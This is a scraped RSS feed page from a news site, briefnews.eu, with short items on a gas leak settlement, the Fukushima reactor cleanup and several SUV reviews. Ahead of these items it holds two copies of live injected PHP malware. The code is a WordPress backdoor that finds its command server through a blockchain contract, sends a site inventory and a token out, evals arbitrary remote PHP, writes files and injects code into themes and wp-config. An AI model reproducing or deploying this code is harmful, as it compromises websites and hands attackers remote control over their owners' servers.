// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); utility – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 26 Feb 2019 17:22:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png utility – Brief News https://briefnews.eu 32 32 Utility to pay $119.5 million settlement after massive 2015 natural gas leak https://briefnews.eu/utility-to-pay-119-5-million-settlement-after-massive-2015-natural-gas-leak/ https://briefnews.eu/utility-to-pay-119-5-million-settlement-after-massive-2015-natural-gas-leak/#respond Tue, 26 Feb 2019 17:22:09 +0000 http://briefnews.eu/utility-to-pay-119-5-million-settlement-after-massive-2015-natural-gas-leak/
A natural gas well pad at Aliso Canyon.

Enlarge / A rig stands over a well pad at the Southern California Gas Co. Aliso Canyon underground natural gas storage facility in the Porter Ranch neighborhood of Los Angeles, California, on Thursday, January 12, 2017. (credit: Patrick T. Fallon/Bloomberg via Getty Images)

On Monday, a Los Angeles Superior Court Judge approved a $ 119.5 million settlement between Southern California Gas (SoCalGas) and the California Air Resources Board (CARB). SoCalGas was responsible for the Aliso Canyon Natural Gas Storage Facility when one of the 115 storage wells at the site started leaking methane dramatically.

Stanching the leak took nearly five months, and in that time 109,000 metric tons of methane was spewed into the atmosphere.

Methane is an extremely potent greenhouse gas, capable of trapping more heat in the atmosphere than carbon dioxide, although methane is shorter-lived. In addition to the headaches and nosebleeds suffered by the people living in the nearby Porter Ranch neighborhood, researchers later concluded that the leak had doubled the methane emissions rate of the whole Los Angeles Basin.

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]]> https://briefnews.eu/utility-to-pay-119-5-million-settlement-after-massive-2015-natural-gas-leak/feed/ 0 Japanese utility makes first contact with melted Fukushima fuel https://briefnews.eu/japanese-utility-makes-first-contact-with-melted-fukushima-fuel/ https://briefnews.eu/japanese-utility-makes-first-contact-with-melted-fukushima-fuel/#respond Mon, 18 Feb 2019 18:28:53 +0000 http://briefnews.eu/japanese-utility-makes-first-contact-with-melted-fukushima-fuel/

  • Before the nuclear fuel deposits had been touched. [credit:
    TEPCO ]

Late last week, the Tokyo Electric Power Company (TEPCO) sent a probe into the damaged second reactor at the Fukushima nuclear plant. The probe’s mission was to explore the solidity of the nuclear fuel that melted back in 2011, when a tsunami hit the nuclear plant following an earthquake, causing a meltdown of the plant’s three reactors.

Eight years later, TEPCO is making slow but steady progress towards decommissioning the three damaged reactors. The mission to touch the melted nuclear fuel with a remote-controlled probe aimed to find out how solid the melted fuel is, and whether it could be transported away from the site. This was the first time that field crews had been able to use any device to physically interact with the fuel since the reactor meltdown.

“The observation device made contact with deposits at six locations on the pedestal,” TEPCO wrote in a short preliminary report that was published on Friday. “Deposits in five locations could be moved.” TEPCO posted a video of the robotic probe picking up pieces of melted nuclear fuel, which can be found here.

Read 3 remaining paragraphs | Comments

]]> https://briefnews.eu/japanese-utility-makes-first-contact-with-melted-fukushima-fuel/feed/ 0 Genesis Still Two Years Away From Adding Much-needed Utility Vehicles to Lineup, Essentia Under Consideration https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/ https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/#respond Thu, 13 Sep 2018 01:09:26 +0000 http://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/ Despite producing comprehensively equipped and comfortable sedans with a nearly unbeatable price and warranty, Genesis Motors is in trouble. Sedans aren’t selling like they used to and the company doesn’t have anything else to offer customers right now. Its first utility model, the GV80, won’t appear on dealer lots until 2020. But, upon its arrival, the […]

The post Genesis Still Two Years Away From Adding Much-needed Utility Vehicles to Lineup, Essentia Under Consideration appeared first on The Truth About Cars.

]]> https://briefnews.eu/genesis-still-two-years-away-from-adding-much-needed-utility-vehicles-to-lineup-essentia-under-consideration/feed/ 0 2020 Ford Explorer-based Police Interceptor Utility gets hybrid version https://briefnews.eu/2020-ford-explorer-based-police-interceptor-utility-gets-hybrid-version/ https://briefnews.eu/2020-ford-explorer-based-police-interceptor-utility-gets-hybrid-version/#respond Tue, 12 Jun 2018 18:51:46 +0000 http://briefnews.eu/2020-ford-explorer-based-police-interceptor-utility-gets-hybrid-version/ Autoblog ist jetzt Teil der Oath-Familie.
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]]> https://briefnews.eu/2020-ford-explorer-based-police-interceptor-utility-gets-hybrid-version/feed/ 0 Volkswagen Atlas Cross Sport Concept: More Sport, Less Utility https://briefnews.eu/volkswagen-atlas-cross-sport-concept-more-sport-less-utility/ https://briefnews.eu/volkswagen-atlas-cross-sport-concept-more-sport-less-utility/#respond Tue, 27 Mar 2018 23:01:17 +0000 http://briefnews.eu/volkswagen-atlas-cross-sport-concept-more-sport-less-utility/ Volkswagen-Atlas-Cross-Sport-concept-Placement

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Bigger isn’t always better, and those who find the three-row Volkswagen Atlas too large for their needs will soon be able to get their hands on a smaller, more stylish variant of the Tennessee-built crossover SUV. The new entry is being previewed by the Atlas Cross Sport concept, a five-passenger model that shares its 117.3-inch wheelbase with the larger Atlas but casts a shadow 7.5 inches shorter. READ MORE ››

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]]> https://briefnews.eu/volkswagen-atlas-cross-sport-concept-more-sport-less-utility/feed/ 0 2018 Hyundai Kona First Drive Review | Serving style, price, and utility, in that order https://briefnews.eu/2018-hyundai-kona-first-drive-review-serving-style-price-and-utility-in-that-order/ https://briefnews.eu/2018-hyundai-kona-first-drive-review-serving-style-price-and-utility-in-that-order/#respond Mon, 26 Mar 2018 07:14:00 +0000 http://briefnews.eu/2018-hyundai-kona-first-drive-review-serving-style-price-and-utility-in-that-order/ Utility is an interesting word. As it applies to cars and trucks, it’s a nebulous term – but this vague concept is the main reason for buying one rather than a coupe or sedan. Both truck-based SUVs and car-based CUVs claim a modicum of it. And so-called utility vehicles come in all shapes and sizes.

The Hyundai Tucson could be considered a small crossover, but when you park the brand-new 2018 Hyundai Kona next to it, you’ll see that the new kid is a full foot shorter than its older sibling. Crucially, though, for right about the same asking price, the Kona boasts a little more cargo space but slightly less rear-seat legroom than a Hyundai Elantra. That means a buyer could conceivably compare and contrast the subcompact Kona crossover with the compact Elantra sedan, and decide which shape better suits their needs.

More likely, however, a prospective buyer is going to know before even stepping foot into a dealership that they are interested in the Kona, not the Elantra, because they want the appearance of rugged capability (more than actual rugged capability). Buyers in this category rank design and style as more important than driving manners or fuel efficiency.

Utility vehicles are perceived as stylish and trendy, so let’s talk style. Design is critical in this segment, and that means boringness is a death sentence. The Kona certainly isn’t boring, but it’s also a little over the top, especially in the model’s trademark Lime Twist bright green hue. Bright colors accentuates the various textures and finishes of the Kona’s helmet-like front fascia. Having a vehicle that stands out from the crowd is a good thing, but we like the Kona better in darker colors.

2018 Hyundai Kona2018 Hyundai Kona2018 Hyundai Kona2018 Hyundai Kona

Split lighting units front and rear give the Kona a distinctive appearance, especially after the sun goes down with the lights turned on. Jeep introduced the split light look on the Cherokee several years ago, controversially – and subsequently the Cherokee has returned to conventional headlights. Despite Jeep’s backtracking, the design works better for the Kona thanks to more compact proportions. It’s also a new vehicle without the baggage and overwrought expectations of Jeep’s adoring fanbase.

The Kona is strongest in profile. The car’s designers say the meandering cut lines that start over the front wheel arches, stutter and restart across the doors, and merge in the rear quarter panels over the blocky plastic moldings, are inspired by the flowing and unpredictable lines of lava. With apologies to Paris Hilton: That’s hot.

In sharp contrast to the exterior, the interior of the Hyundai Kona is subdued and attractive. Everything the driver needs is within easy reach, including a standard seven-inch touchscreen infotainment system. An eight-incher comes on the Ultra trim level, as does a full-color head-up display with a screen that automatically folds up from the steering column. Such a system puts crucial information like speed, navigation and safety system alerts, and audio information directly in the driver’s line of sight, and projecting the info on a separate screen reduces the potential cost of windshield replacements for the owner.

With a total length of 164 inches, the Kona is just over a foot shorter than Hyundai’s own Tucson. That length, along with a 102.4-inch wheelbase, 70.9-inch width, and 61-inch height, put the Kona roughly on par with its competition. It’s a bit smaller in every dimension than the segment sales-leading Subaru Crosstrek. The Kona is a bit smaller inside than the Honda HR-V, which offers quite a bit more rear legroom than the Kona (39.3 inches versus 34.6), but roomier than the Toyota C-HR. There’s 19.2 cubic feet of cargo capacity behind the Kona’s rear seats, or as much as 45.8 cu-ft with those seats folded down. Again, the Honda HR-V leads the segment with 24.3 cu-ft of cargo space, likely by virtue of its five extra inches of total length.

2018 Hyundai Kona2018 Hyundai Kona2018 Hyundai Kona2018 Hyundai Kona

For a modest $ 1,300 upcharge, the Kona benefits not just from an electronically lockable AWD system, it also gains a multi-link rear suspension system that replaces a standard torsion beam setup at the rear. Our expectation is that the multi-link will provide a smoother ride on rough roads, especially with a heavy load, and will handle better over bumpy surfaces. Simply put, a proper multi-link is superior in every way to a torsion beam. Considering the reasonable cost and greater suspension refinement, we’re going to recommend all-wheel-drive Kona models.

